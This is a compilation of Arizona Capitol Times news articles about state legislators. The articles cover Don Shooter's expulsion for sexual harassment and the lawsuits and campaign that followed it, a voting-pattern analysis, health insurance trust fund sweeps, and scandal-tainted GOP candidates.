In both a statement sent early Thursday morning and comments to reporters on the floor of the Senate this afternoon, Fann, R-Prescott, said the Senate would not comment on ongoing litigation. The Senate is not a party in either lawsuit filed by former Rep. Don Shooter, who alleges the House of Representatives inadequately investigated allegations the lobbyist made against Ugenti-Rita, then a House member.

Fann said she has yet to receive a formal request for an investigation, and she’s staying focused on Senate business.

“Quite honestly, we are moving along,” Fann said. “We’re working on the budget, we’re getting our deals done so we’re just trying to keep the eye on the ball and keep this moving so we can get out of session and everybody can get out and do no more damage or harm, I could say.”

Fann said the Senate will address any new allegation about a new situation that has not already been investigated. According to the lobbyist’s deposition, one incident, in which Ugenti-Rita called the woman a liar in a public bathroom in December 2018, happened after Ugenti-Rita was elected to the Senate.

The House probe into sexual harassment did not investigate that incident, which would seem to fall under the Senate’s ban on retaliation.

Karen Fann
Karen Fann

Senate Minority Leader David Bradley, who Wednesday afternoon said he wanted Fann to investigate Ugenti-Rita because his caucus believes her alleged actions violate the Senate’s sexual harassment policy, said he has nothing more to say until he speaks with Fann during a regularly scheduled meeting next week.

“We’ll probably discuss it,” the Tucson Democrat said. “My statement is my statement, and we’ll take it from there.”

Bradley said Wednesday it would be better for Republicans to initiate an investigation. Rank-and-file Republicans contacted by the Arizona Capitol Times have no interest in calling for one.

In a statement this afternoon, Bradley said that position hasn’t changed.

“I told (the Arizona Capitol Times) that my statement from yesterday, that the allegations warrant further investigation by President Fann, remains my statement and that I plan to discuss the situation with President Fann early next week. In no way should it be characterized that our caucus is retracting our position,” Bradley said.

Senate President Pro Tem Eddie Farnsworth cut off questions before the afternoon floor session with a “No comment. Zero comment on any of that.”

Sen. J.D. Mesnard, who was Speaker of the House during the chamber’s 2017-18 investigation into sexual harassment allegations, said it was important to remember that the lobbyist’s allegations were contained in a deposition taken by Shooter’s lawyers, using questions designed to accomplish Shooter’s purposes.

He said he stood by the House’s investigation, and that he thinks that if anyone who feels like a victim has other accusations they want investigated, they should be heard. But a Senate investigation is up to Senate leadership, he said.

“That’s really not my call to make,” he said. “I will say this. I think if somebody is feeling like a victim that they should be listened to, and I do think that their wishes for what should happen should be respected.”

Sen. David Livingston, R-Peoria, said a decision on an investigation was up to Fann, and that he’s comfortable  with her making a decision either way.

Sen. Heather Carter, R-Cave Creek, was the only Republican senator to answer a phone call.

“I’m not going to get involved in a comment or anything on this, but thank you for calling,” she said.

And Sen. Paul Boyer, R-Glendale, said he’s avoided reading anything about the new allegations.

“I haven’t seen it, and I wasn’t planning on reading it,” he said.

Ugenti-Rita, who has refused to comment on any of the allegations, smiled and stared straight ahead when asked if she plans to resign.

–Dillon Rosenblatt contributed reporting

Editor’s note: This story has been updated with additional comments from Senate Minority Leader David Bradley, who reiterated that his caucus’ position hasn’t changed. The story’s earlier version said Democrats are no longer pushing the issue. 

Shooter claims in court Ugenti-Rita ruined his reputation

Rep. Michelle Ugenti-Rita, R-Scottsdale and Rep. Don Shooter, R-Yuma. (AP Photos/Ross D. Franklin)
Rep. Michelle Ugenti-Rita, R-Scottsdale, and expelled lawmaker Don Shooter. (AP Photos/Ross D. Franklin)

Expelled lawmaker Don Shooter alleges Rep. Michelle Ugenti-Rita, R-Scottsdale, spread malicious lies and defamed him when she publicly accused him of sexual harassment.

Shooter’s allegations came in a counterclaim filed July 5 in Maricopa County Superior Court in response to a lawsuit she filed against Shooter in June in which she accused him of libel and slander. She also accused the Yuma Republican of intentional infliction of emotional distress, battery and negligence.

Shooter’s attorney, Kraig Marton, denied all of the allegations of sexual harassment made in Ugenti-Rita’s complaint. He said that some of the incidents alleged in her complaint occurred more than a year before the lawsuit was filed and are outside the statute of limitations.

Marton also said that Ugenti-Rita’s “reputation is so bad that she is libel proof.” A libel-proof plaintiff is a legal doctrine in which a plaintiff is barred from being awarded damages for libel or slander because their reputation is so tarnished that they can’t be defamed any further.

In the counterclaim, Marton said that Ugenti-Rita falsely claimed on social media and in statements to news outlets last fall that Shooter had sexually harassed her.

Marton said that statements made in an Oct. 19, 2017, tweet that contained a link to a letter Ugenti-Rita wrote in which she said she received “unwanted sexual advances” almost immediately after taking office in 2011 aren’t true. He said that while she didn’t mention Shooter by name in the letter, she “intended to refer” to him.

He also disputed statements Ugenti-Rita made to news outlets on Nov. 7, 2017, in which she accused Shooter of making a comment about her breasts, described an incident in which he came to her hotel room uninvited with a six pack of beer, and another incident in which Shooter walked her to her car after a fundraiser at a Scottsdale resort and tried to convince her to go back with him to the hotel.

He said Shooter’s reputation has suffered as a result of Ugenti-Rita’s comments, and he suffered emotional distress and financial loss.

Marton asked that Ugenti-Rita’s lawsuit be dismissed and that the judge impose punitive damages against her “to punish her and deter others,” presumably from making similar false allegations.

He also asked that Shooter be awarded an unspecified amount for damages, that the court grant a declaratory judgement declaring that Ugenti-Rita’s comments are false and defamatory, and a permanent injunction ordering Ugenti-Rita to cease and desist from republishing the statements.

Shooter did not respond to a request for comment.

Ugenti-Rita’s attorney, Daniel Massey, said Shooter’s counterclaim is “simply a denial” that he sexually harassed her.

He added that in addition to Ugenti-Rita, other women have also accused Shooter of sexual harassment, and his peers voted to expel him from the House after an investigation found that he had harassed several women and created a hostile working environment.

“In this context Mr. Shooter’s credibility is appropriately called into question and the false allegations he has made against Ms. Ugenti-Rita should be considered in that light. These issues will ultimately be decided in a court of law and we are very much looking forward to that day,” Massey said.

Shooter political comeback falls short

Don Shooter testifies during a hearing, June 14, 2018, in Judge Rosa Mroz’s Maricopa County Superior Courtroom, Phoenix.
Don Shooter testifies during a hearing, June 14, 2018, in Judge Rosa Mroz’s Maricopa County Superior Courtroom, Phoenix.

Ousted lawmaker Don Shooter’s political comeback attempt fell well short.

Shooter sought a swift return to the Capitol since he was voted out of the Legislature in February after a House investigation found he serially sexually harassed colleagues and lobbyists.

But the Yuma Republican quickly fell back on election night, and wound up a distant third, more than 5,000 votes behind incumbent Sen. Sine Kerr, a Buckeye dairy farmer in her first race for the Legislative District 13 Senate seat. Kerr has represented the district since January, when she was appointed to the Senate to fill a vacancy.

Shooter also trails Brent Backus, a Waddell Republican, in the primary election.

The election-night loss is a rebuke of Shooter, who sought to rally support for his campaign by leaning heavily into the accusations against him.

Shooter, who represented LD13 in the Senate from 2011 to 2016, touted a poll he said was conducted while he was deciding whether or not to run again, in which he asked prospective voters whether they would be more or less likely to vote for a lawmaker they knew was thrown out of office for sexual harassment. He boasted that the voters responded that they would be more likely to vote for such a lawmaker. And a billboard west of Yuma urged voters to elect Shooter to “make a liberals head explode.”

Kerr has an easy path to winning the general election. Republicans hold a nearly two-to-one advantage among registered voters in the district, which stretches from northern Yuma County to northwestern Maricopa County.

Michelle Harris, an Air Force veteran, is running unopposed for the Democratic nomination.

LD13 Senate by the numbers

Yuma County: 100 percent of precincts reporting

Maricopa County: 58 percent of precincts reporting

Republican

Brent Backus 30 percent

Sine Kerr 49 percent

Don Shooter 21 percent

Democrat

Michelle Harris 100 percent

Shooter seeks documents from sexual harassment investigation

Don Shooter testifies during a hearing, June 14, 2018, in Judge Rosa Mroz’s Maricopa County Superior Courtroom, Phoenix. (Photo by Mike Meister/Arizona Republic)
Don Shooter testifies during a hearing, June 14, 2018, in Judge Rosa Mroz’s Maricopa County Superior Courtroom, Phoenix. (Photo by Mike Meister/Arizona Republic)

An ousted state lawmaker may be able to get documents from a sexual harassment investigation that House Speaker J.D. Mesnard has so far refused to make public.

Kraig Marton, attorney for Don Shooter, is demanding that Craig Morgan, the attorney hired by Mesnard to investigate allegations of sexual harassment, turn over not just the report he prepared on various allegations but also all of his notes, tapes, memos and other information that led to what was released in the report.

Marton also wants access to all documents that were provided to Morton in preparing the report. And he wants all drafts.

That last piece could prove crucial as Shooter contends the final report — the one provided to other lawmakers and the media — left out information that the former Republican representative from Yuma believes could have made a difference in the 56-3 vote by his colleagues to expel him.

But Shooter and his attorney aren’t demanding the documents in connection with his $1.3 million claim against the state in that case.

Instead, they’re using the fact that Rep. Michelle Ugenti-Rita, R-Scottsdale, who Morgan’s investigative report says was a victim of Shooter’s harassment, has filed her own civil lawsuit accusing him of slander, libel, battery and negligence. Shooter, in turn, has filed a counterclaim charging Ugenti-Rita with defamation.

That litigation opens the door for Shooter’s attorney to subpoena records he believes are relevant to the issue.

Marton, on behalf of Shooter, is not stopping with going after the full the investigative report and its supporting material.

He also has issued several other subpoenas, including one to the state Department of Administration demanding information about various contracts the state has issued and any communications by top aides to Gov. Doug Ducey to the agency about those deals. That goes to Shooter’s claim that he was targeted because, as chairman of the House Appropriations Committee, he was questioning whether some contracts were improperly awarded.

Shooter, seeking to reenter politics by running for the state Senate this year, told Capitol Media Services that the documents will shed a new light on the investigation that resulted in his ouster.

“I think there’s going to be a tremendous amount of information that will damage the credibility of my accuser and, in addition, will bolster my view of the facts,” he said.

“It will also show that Speaker Mesnard modified the report and that the (House) members were given only a partial and modified version,” Shooter said. “He removed exculpatory evidence and took out derogatory evidence about my accusers.”

There was no immediate comment from Mesnard.

Shooter was expelled after the investigative report, prepared by Morgan, found “credible evidence” that the Yuma lawmaker violated House policy against sexual harassment.

Mesnard originally had sought only censure. But he pushed for expulsion after Shooter sent a letter to colleagues asking they delay any action while they consider there also are credible charges of harassment that could be brought against Ugenti-Rita.

All that goes to what else the investigator found — things that were not provided to other lawmakers and things that Mesnard has refused to disclose.

That investigative report mentions allegations which included “unsolicited, sexually explicit communications” being sent to someone who is believed to be a female former staffer.

Morgan describes these as “egregious and potentially unlawful acts.” But the investigator said that Brian Townsend, a former House staffer who was dating Ugenti-Rita, accepted sole responsibility for sending out what are believed to be naked photos.

Shooter believes the full details — and the pictures — were in early versions of the report but excised before other lawmakers got to see them.

He did not dispute some of the charges made against him in the report, including comments made to other lawmakers, lobbyists and outsiders. But Shooter always has contended his actions were largely harmless — and in some cases actually less serious than things that others, including Ugenti-Rita, are alleged to have done.

Mesnard has refused to release anything but the final version of the report.

In a prepared statement, he said what’s left includes those sexually-explicit communications mentioned in the report, saying their release would “serve no public interest and would only satisfy the salacious curiosity of the media and others.”

Other materials the speaker refused to disclose include the notes of the attorney. He said these are exempt from public records laws and “would jeopardize the House’s legal standing in potential lawsuits if released.”

But even Mesnard acknowledged what he can keep confidential may be limited, saying he would release the records only on a subpoena or court order.

Shooter said he is prepared for Mesnard to be the one to contest the subpoena of Morgan’s notes and other information based on there being an attorney-client relationship. But the former lawmaker said that holds no water, as the cost of the inquiry was not borne by Mesnard personally.

“My position is that the taxpayers of state of Arizona are the client and they deserve to know the truth, the whole truth and nothing but the truth,” he said.

Some GOP lawmakers vote solid red, support caucus bills

The following story is the fifth of five to be published over two weeks based on voting data the Arizona Center for Investigative Reporting pulled for the 2017 legislative session. The nonprofit group analyzed the number of floor votes that each lawmaker cast the same as every other lawmaker. The result is a first of its kind look at voting patterns between Arizona legislators, revealing alike votes and disparities – some known anecdotally, others not seen before – between lawmakers, at times regardless of party affiliation. Arizona Center for Investigative Reporting set a minimum threshold of 230 alike votes in the House of Representatives and 435 alike votes in the state Senate to gauge how often lawmakers vote alike with one another.

The threshold could be expanded or shrunk, but think of the analysis like a microscope: zooming in too close, or not far enough, won’t reveal anything of interest. Finding the right magnification, or in this case, the right threshold of alike votes in each chamber, produces significant results and visualizes alike votes among legislators.

It’s a numbers game at the Arizona Capitol. Lawmakers need 31 yes votes in the House of Representatives and 16 votes in the Senate to get bills approved.

Nothing makes that task easier for GOP-sponsored bills than a reliable Republican.

Representatives like Vince Leach, R-Tucson, and Don Shooter, R-Yuma, and Sens. Nancy Barto, R-Phoenix and John Kavanagh, R-Fountain Hills, are among the Republicans most faithful to their own caucus when it comes to voting, according to an analysis by the Arizona Center for Investigative Reporting.

In graphs depicting the voting patterns of the 2017 legislative session, their deep red dots indicate a propensity for voting alike with members of their own GOP caucus, and a distaste for bipartisan voting. That’s a contrast to some Republican lawmakers, and Democrats, who are lighter shades of red and blue, indicating they don’t always agree with legislators in their own party.

Their party loyalty can be ascribed to a variety of reasons: their seniority at the Capitol, and their positions as committee chairs. In the House, Leach and Shooter are “kind of in another layer of the leadership team,” said Rep. T.J. Shope, a Coolidge Republican who serves as speaker pro tem.

[Use the interactive data tool created by AZCIR to discover the alike votes between each representative HERE.]

In the case of Kavanagh and Shooter, heading the powerful Appropriations committees gives them a de facto leadership role since they control the committee that gets a first say on annual budget proposals, Shope said.

Sen. Don Shooter, R-Yuma (Photo by Rachel Leingang, Arizona Capitol Times)
Sen. Don Shooter (R-Yuma) (Photo by Rachel Leingang, Arizona Capitol Times)

For Shooter, it’s simply a matter of being a “team player” in the Republican Party.

“It’s a team, and that’s the reason I traded (seats) with (Sen. Steve) Montenegro,” said Shooter, who swapped chambers with Montenegro in the 2016 elections – the two represent the same Legislative District 13. “It wasn’t particularly good for me, but it was good for the team so I took one for the team,” he added.

While Shooter also said he casts votes on behalf of the team, that doesn’t mean he’s not voting his conscience or is taking orders from leadership.

“I don’t do a damn thing I don’t want to do,” Shooter said.

It’s actually the caucus that drives leadership, and not the other way around, Kavanagh said.

[Use the interactive data tool created by AZCIR to discover the alike votes between each senator HERE.]

Rep. John Kavanagh, R-Fountain Hills, smiles as he addresses the legislature in the Arizona House of Representatives at the Arizona Capitol Monday, Jan. 13, 2014, in Phoenix. The Republican lawmaker wants the state constitution amended to allow cuts to public employee pensions and increases in employee contributions if the systems are badly underfunded. (AP Photo/Ross D. Franklin)
Rep. John Kavanagh, R-Fountain Hills, smiles as he addresses the legislature in the Arizona House of Representatives at the Arizona Capitol Monday, Jan. 13, 2014, in Phoenix. (AP Photo/Ross D. Franklin)

“There is no party line. Leadership does a lot of things, but they don’t sit down and decide what we vote for and we all fall in line,” he said. “Leadership has to agree with the caucus, not vice versa.”

With that in mind, Kavanagh attributes his reliably-red voting pattern to a simple truth in Arizona politics.

“We’re a red state, and we’re a conservative, red chamber, and I’m a conservative member,” Kavanagh said. “So it makes sense that I would be solidly conservative and vote with the caucus.”

 

Find out more about your lawmakers’ voting patterns below:

Swing-district Dems use divergent vote tactics in Legislature

House Dem leader crosses aisle more often than party colleagues

Moderate GOP lawmakers exist in name only, study finds

Small group of Republicans buck their party, vote their conscience

State employees, retirees will pay for health insurance trust sweeps

Arizona state employees will pay higher premiums and copays for health insurance next year, and some lawmakers say funding sweeps approved by the Republican-controlled state Legislature are partly to blame.

Employees and state retirees were notified September 18 that their insurance premiums will increase effective January 1, the first hike in employee’s insurance payments since 2011, according to a memo from the Arizona Department of Administration. Copays are also increasing for some services, while chiropractic care and certain therapy services will now be classified as specialist care, requiring co-pay hikes of $25 more per visit.

Premium hikes will cost an average of $151.32 more annually for state employees, an expense ADOA officials say is necessary given “skyrocketing” health care costs that have endangered the solvency of a trust fund that pays the costs of employee’s medical and dental claims, according to the memo.

The Joint Legislative Budget Committee, which was briefed on September 6 of the department’s decision to raise insurance costs, opposes the plan, as some argued that funding sweeps are truly to blame for the Health Insurance Trust Fund’s financial woes.

Since 2011, the Arizona Legislature has approved budgets that swept roughly $275 million from the trust fund under then-Gov. Jan Brewer and the first two years of Gov. Doug Ducey’s administration, according to legislative budget analysts.

That would have, at least for now, more than covered projected deficits for the trust fund, Rep. Mark Cardenas said.

Mark Cardenas (D-Phoenix)
Rep. Mark Cardenas (D-Phoenix)

“The employee’s health insurance fund has been the Legislature’s personal piggy bank for the last eight years,” the Phoenix Democrat said.

The most recent sweep, $78.9 million approved in Ducey’s second year in office, was the largest of six consecutive years of dollars swept from the trust fund to the state’s general fund to help balance the budget.

The Health Insurance Trust Fund is financed by insurance premiums paid by state employees and various state agencies, which as employers cover 90 percent of state workers’ health care costs.

Sweeping those funds to cover costs elsewhere in the state budget has now come at the expense of state’s 60,000 insured employees and retirees, said Sen. David Farnsworth, R-Mesa.

The adjustment for current employees ranges from a low of $48.10 to $301.08 annually.

The cost to retirees is even higher, since they pay 100 percent of their premiums. For instance, for those not on Medicare, premiums will jump from a low of $711.60 annually for a retiree-only plan, while family plans will increase as much as $2,636.40 annually.

Sen. David Farnsworth (R-Mesa)
Sen. David Farnsworth (R-Mesa)

“When the Legislature sweeps the fund over and over again, and then we come back and we have a crisis, we refund the fund on the backs of state employees,” Farnsworth said. “I don’t think that’s right.”

As a Republican lawmaker, Farnsworth is responsible for voting for some of those funding sweeps since he began serving in the Senate in 2013. Rep. Don Shooter, co-chair of the Joint Legislative Budget Committee, acknowledged that wounds to the Health Insurance Trust Fund are in part inflicted by lawmakers, and in the future, lawmakers must cease sweeping those funds.

“We kind’ve dug a hole, which now we’re living with,” the Yuma Republican said.

However, Shooter said he doesn’t regret voting for budgets that included those sweeps. While “it doesn’t take a genius” to realize that six consecutive years of funding sweeps wasn’t sustainable, Shooter said that budgets are never perfect, and the sweeps were necessary to secure budget deals in the past.

Ducey Spokesman Daniel Scarpinato said that the sweeps weren’t done lightly, and that the money was put to good use.

“The state was in a real bind during the recession, and continued to be when we took office in 2015,” Scarpinato said. “There were some difficult choices made. I think it was a good thing that we limited layoffs and drastic cuts, or more drastic cuts, to certain areas that would have really had a detrimental impact, (rather) than to just let cash sit around.”

State lawmakers already acknowledged problems with the Health Insurance Trust Fund earlier this year, when they approved a $75 million cash infusion as part of the fiscal year 2018 budget. But that was not enough, and now the only way to make the Health Insurance Trust Fund whole again is to stop future funding sweeps and to raise premiums, Shooter said.

Rep. Charlene Fernandez (D- Yuma)
Rep. Charlene Fernandez (D- Yuma)

Rep. Charlene Fernandez, D- Yuma, said hiking premiums wasn’t the only option. The Legislature could have continued to appropriate money to support the trust fund, and found other areas in the budget – Democrats have long proposed taking a closer look at the state’s multitude of tax credits, and letting some expire – to pay for it.

That option would have held state employees harmless from the Legislature’s errors, she said.

Memos to state employees and retirees note some benefits to the adjustments to insurance plans, including making preventative care free – under current plans, employees still paid a copay for routine checkups. The state has also sought to make the cost of care competitive compared to other government entities and the private sector, Scarpinato said. In years when the trust fund was considered healthy enough to sweep from, employees were sometimes given holidays from paying premiums, and in 2016, premiums were lowered for some employees and retirees he said.

“I think you’ve seen a real effort by the state, and not just under our administration, but really all through the recession, of really avoiding any increases in premiums for our employees, and in fact at one point in time actually lowering premiums,” Scarpinato said. “That is, I think, unheard of to anyone … who doesn’t work in state government.”

ADOA officials have no say over the past sweeps of the Health Insurance Trust Fund by lawmakers. In those years, the fund did have a healthy balance, well above best practices and industry standards, according to Megan Rose, an agency spokeswoman.

In recent years, however, state officials have underestimated the rising costs of medical care, she said, an indication of how much those costs have risen.

Now, based on those same industry standards, “with the reserve that we have and we keep, and the premiums we collect, we are not able to pay the bills,” Rose said.

In a budget request submitted this month to the Governor’s Office, officials wrote that the fund would have a deficit of $219.3 million in 2019 if no changes are made to the premiums paid by employees and state agencies. With the adjustments in premiums and copays, that has been trimmed to a projected $55.6 million deficit. Rose said premiums are designed to cover all the expenses from medical and dental claims of the state’s employees and retirees. No more, no less.

“The goal of the Health Insurance Trust fund is to collect what we spend. It’s not meant to be some type of savings account,” she said.

Supreme Court to hear appeal on Shooter residency ruling

Don Shooter testifies during a hearing, June 14, 2018, in Judge Rosa Mroz’s Maricopa County Superior Courtroom, Phoenix. (Photo by Mike Meister/Arizona Republic)
Don Shooter testifies during a hearing, June 14, 2018, in Judge Rosa Mroz’s Maricopa County Superior Courtroom, Phoenix. (Photo by Mark Henle/Arizona Republic)

A Republican contender in Legislative District 13 is appealing a lower court ruling to the Arizona Supreme Court that former lawmaker Don Shooter can stay on the ballot.

Maricopa County Superior Court Judge Rosa Mroz ruled June 15 that Shooter, who was expelled from the Arizona House of Representatives in February for sexually harassing women, meets the residency requirements to run for the state Senate in LD13.

Brent Backus, one of Shooter’s opponents in the August 28 primary, claimed that Shooter doesn’t reside in Yuma County, where Shooter declared his primary residence. Lawmakers are required to reside in the county they are running in for at least one year prior to the election, according to a constitutional provision.

Tim LaSota, an attorney for Backus, appealed the judge’s determination that Shooter always intended to return to Yuma, even though Shooter’s voter registration was changed to Maricopa County and Shooter himself testified that he spends roughly two-thirds of his time at a home in Phoenix with his wife, Susan Shooter.

The appeal goes directly to the Arizona Supreme Court, which is required to hear election-related appeals.

Shooter testified he never changed his voter registration, had no idea how the change occurred, and that he didn’t know the power had been turned off at his Yuma condo.

“Yuma’s been good to me,” Shooter said in court on June 14. “It’s my home. I’ve spent considerable time and effort and money to continue that relationship. … I’m spending a lot of money right now to be a part of Yuma. It would be real easy to walk away. It’s a little irritating.”

LaSota previously told the Arizona Capitol Times that if the ruling stands, it would set a terrible precedent.

“The qualification for running for office are that you rent an apartment in the district you want to run from. You don’t even need power,” he said. “I don’t think that’s what the voters of the state had in mind when they passed the requirement that politicians have residency in the district they run from.”

Tainted GOP candidates dot campaign trail to Legislature

A handful of would-be Republican lawmakers stand out from a crowded field of legislative candidates this election cycle for their tarnished reputations, but some may still land in office.

These Republicans are seeking redemption by election, but their baggage has some in the GOP shying away. Meanwhile, Democrats are salivating at the chance to flip the legislative seats those candidates seek.

The Arizona Democratic Party is putting up a statewide fight by running candidates in every legislative race. Democrats fronting longshot challenges in reliably red districts could have easier election bids if flawed GOP candidates advance to the general election.

Ousted Yuma Rep. Don Shooter is running for the state Senate months after he was expelled from the Legislature when an investigation concluded he sexually harassed multiple women while in office.

Rep. Paul Mosley is running for re-election after he invoked “legislative immunity” to dodge a citation when he was caught speeding 40 miles per hour over the limit.

Rep. David Stringer, R-Prescott, answers questions Wednesday about his comments which were interpreted by some as racist. Stringer said he was not a racist but simply was detailing his views on the effects of rapid immigration on the country. With him is the Rev. Jarrett Maupin who agreed to let Stringer explain his comments to leaders of the African-American community in Phoenix. PHOTO BY HOWARD FISCHER/CAPITOL MEDIA SERVICES
Rep. David Stringer, R-Prescott, answers questions Wednesday about his comments which were interpreted by some as racist. Stringer said he was not a racist but simply was detailing his views on the effects of rapid immigration on the country. With him is the Rev. Jarrett Maupin who agreed to let Stringer explain his comments to leaders of the African-American community in Phoenix. PHOTO BY HOWARD FISCHER/CAPITOL MEDIA SERVICES

Rep. David Stringer is running for re-election after he told a GOP gathering in June that there are “not enough white kids to go around” in Arizona’s public schools, a comment widely condemned as racist, but one Stringer insists was misconstrued.

Former House Speaker David Gowan is running for the state Senate after a hiatus from the Capitol, which he left in 2016 under the cloud of an investigation of his misuse of state vehicles and mileage reimbursement while campaigning for Congress.

And the former head of the state’s welfare agency, Tim Jeffries, is running for the state Senate after he was forced out by the governor amid reports that he illegitimately fired hundreds of state workers.

With the exception of Mosley, who quickly apologized for his lead foot, the majority of these candidates are unapologetic for their actions, while some have peppered their apologies with deflection and denial.

And the list goes on.

There’s also Charles Loftus, one of the top deputies under Jeffries, who was also fired and is now suing the state and running for a state Senate seat. Former Sheriff and current U.S. Senate candidate Joe Arpaio was found guilty of criminal contempt for disobeying a court order to stop his immigration patrols. President Trump has since pardoned him. And there is Bobby Wilson, a Republican candidate in Arizona’s 2nd Congressional District, who shot his mother in what is a very complicated story.

Democrats aren’t without their own issues: Yahya Yuksel, who’s running for the U.S. House in 2nd Congressional District, has denied an allegation that he raped an intoxicated teenage girl when he was in high school.

Candidates with baggage 

Arizona is no stranger to legislative candidates with baggage, but this election cycle stands out for the number of legislative candidates that have recently been thrust into the public eye for negative reasons.

Despite their flaws, some of these legislative candidates still have good chances of winning this election cycle.

It’s entirely possible that Shooter, Stringer and Mosley all get re-elected because their opposition may not be strong enough to cancel out their name recognition, lobbyist Barry Dill said.

Meanwhile, some Republicans are disassociating themselves from damaged candidates within the party.

Divorced

Rep. Paul Mosley, R-Lake Havasu City, during a traffic stop in La Paz County March 27, in which he allegedly was clocked driving at 97 MPH in a 55 mph zone. The text is a transcription of the audio from the body cam video of the deputy.
Rep. Paul Mosley, R-Lake Havasu City, during a traffic stop in La Paz County March 27, in which he allegedly was clocked driving at 97 MPH in a 55 mph zone. The text is a transcription of the audio from the body cam video of the deputy.
IMAGE COURTESY OF PARKERLIVEONLINE.COM

The Mohave County Republican Committee voted to censure Mosley for unbecoming conduct after his chronic speeding became public knowledge. Beyond that, the local party committee is not supporting Mosley in the primary and likely would not support him in the general election should he win in the primary, said Committee Chairman Laurence Schiff.

Schiff said local Republicans were concerned that Mosley’s behavior could give the party a bad reputation.

“That’s why the GOP did a motion to divorce themselves from him,” he said. Elected officials are held to a higher standard than everyone else, and Mosley’s actions were inexcusable, Schiff said.

Mosley did not respond to a request for comment, but he previously apologized for his behavior during the March 27 traffic stop, saying his rush to see his family “does not justify how fast I was speeding nor my reference to legislative immunity when being pulled over.” Mosley has been pulled over for speeding on several occasions since February 2017, but he has never received a citation.

But LD5, Mosley’s district, is extremely rural and a Republican stronghold. Schiff doesn’t see that changing anytime soon.

“The chances of him losing to a Democrat, I don’t think that’s really great,” he said. “The beneficiaries are the people running against him in the primary.”

The Lake Havasu Republican is facing off against seatmate Rep. Regina Cobb, R-Kingman, political newcomer Leo Biasiucci and Jennifer Jones-Esposito, who previously sought the seat. Mosley’s opponents are talking about the incumbent’s highly publicized faux pas on the campaign trail.

Mosley is also a freshman lawmaker, making him more vulnerable in his re-election bid.

Gov. Doug Ducey essentially publicly shamed Mosley by vowing to repeal legislative immunity next legislative session. Ducey also chided Mosley for driving so quickly, but he did not go so far as to call for Mosley’s resignation.

But Ducey and Arizona GOP Chairman Jonathan Lines took stronger action when it came to Stringer and Shooter. They called for Stringer to resign, which did not occur.

The Prescott Republican did not apologize and maintained that his comments were misconstrued or misunderstood. Stringer said his comment that “there aren’t enough white kids to go around” in Arizona’s minority-laden public schools was an attempt at an honest discussion on race, and just a small snippet of a 17-minute speech that added context.

Now, just months later and out on the campaign trail, Stringer said his constituents are either unaware of what he said, have forgotten about the comments or don’t think that anything he said was outlandish or over-the-top. Stringer said his campaign has knocked on doors at more than 2,500 homes in the district and he hasn’t received any negative feedback.

“Pointing out that 60 percent of Arizona school kids are children of color or minorities and only 40 percent are white, a lot of people did not know that, but that’s not a statement that my constituents perceive as being racist,” he said.

Lobbyist and longtime political observer Chuck Coughlin said if anything, Stringer’s comments may help him in the LD1 House Republican primary because of the rural and heavily conservative nature of Yavapai County.

In February, Lines and Ducey praised lawmakers in the House who voted to expel Shooter from the Legislature. Ducey also spoke out against Shooter’s actions in his “State of the State” speech earlier this year.

Nine women publicly accused Shooter of misconduct, ranging from unwanted touching to inappropriate, sexually charged comments.

Shooter apologized for his actions in early January, but deflection and self-defense were included in his apology that started out with a joke about the mandatory harassment training House members were undergoing because of Shooter. Shooter did not respond this week to a request for comment.

Looking back, Shooter’s speech could have foreshadowed his electoral run for redemption.

“I’ve said stupid things, I’ve done stupid things. I stood on the carpet and took it like a man. I apologized. I can’t go back in the past. I can’t change it, but I can change the future, given the opportunity,” Shooter said in February just before his expulsion from the House.

‘Three paragraphs’

Don Shooter awaits a vote by the state House on whether to expel him on Feb. 1, 2018. He was later removed from office by a vote of 56-3. (Photo by Katie Campbell/Arizona Capitol Times)
Don Shooter awaits a vote by the state House on whether to expel him on Feb. 1, 2018. He was later removed from office by a vote of 56-3. (Photo by Katie Campbell/Arizona Capitol Times)

Local political observers agree that Mosley faces a tough re-election battle because of his newfound notoriety and his relative newness to the Legislature, but Shooter and Stringer might win their primaries because of their continued base of supporters.

As for Shooter, he is flipping the narrative, Coughlin said. Because he was kicked out of the Legislature, he’s billing himself as an outsider, he said. It’s all about message discipline – that’s what Coughlin said he told Shooter when the ex-lawmaker was deciding whether to run for office again.

“I told him it was going to be hard to stay disciplined on his message,” Coughlin said. “Every time you get one paragraph on your message, there’s going to be three paragraphs on the past, on being removed from office.”

Shooter’s past is no easy thing to brush off. Even Coughlin called him an exceptional case because being expelled from the state Legislature is rare and not quickly forgotten.

House Speaker J.D. Mesnard hinted at this when in February, he called for a vote to expel Shooter from the House.

“Mr. Shooter, in his time down here, has done good things for the state and his constituents and probably will only be remembered for this,” he said.

In a broader sense, these candidates are seeing campaign contributors and major endorsers steering clear of their campaigns because business groups and certain constituencies want to avoid controversy, Coughlin said.

The Fraternal Order of Police withdrew its endorsement of Mosley after his speeding incident. He was also snubbed by the Arizona Chamber of Commerce and Industry and the Greater Phoenix Chamber of Commerce.

In LD13, Republicans are flocking to endorse and raise money for Sine Kerr, one of Shooter’s opponents. The Arizona chamber endorsed Kerr over Shooter.

The Maricopa County Board of Supervisors appointed Kerr to fill the LD13 Senate seat vacated by Steve Montenegro, when he stepped down to seek the Republican nomination in Arizona’s 8th Congressional District. Kerr was selected in January and served through the 2018 legislative session.

“The net effect of it all is to dry up fundraising,” Coughlin said.

As for Gowan and Jeffries, their transgressions lie further in the past.

Gowan, the former Arizona House speaker, repaid the state $12,000 that he had wrongfully received as reimbursement for trips he had taken in state vehicles (but reported as taking in his own vehicle) and per diem for days he claimed he worked, but didn’t.

An investigation by Attorney General Mark Brnovich called the Sierra Vista Republican’s spending “troublesome,” but Brnovich did not pursue criminal charges because the violations were not intentional, but rather attributed to negligence.

Now in campaign mode, Gowan has dismissed reports that he misused state resources and disingenuously uses Brnovich’s report to say he was exonerated. Gowan did not respond to a request for comment.

The Public Integrity Alliance — a Republican committee that often targets politicians accused of misconduct — has already attacked Gowan this election cycle. The group put together an ad earlier this year that highlights Gowan’s mileage reimbursement controversy.

Jeffries’ dispute with his old boss — the governor — could bleed into Jeffries’ election bid, Coughlin said.

“The governor’s on the ballot too, so people are going to, particularly in a Republican primary, are going to be voting for Doug Ducey. Are they then going to go down the list and vote for Tim Jeffries? I don’t think so,” Coughlin said.

Suing the state 

In this Oct. 22, 2015, photo, former Department of Economic Security director Tim Jeffries stands outside his former office, adorned with a "Director J :)" sign. (Photo by Rachel Leingang, Arizona Capitol Times)
In this Oct. 22, 2015, photo, former Department of Economic Security director Tim Jeffries stands outside his former office, adorned with a “Director J :)” sign. (Photo by Rachel Leingang, Arizona Capitol Times)

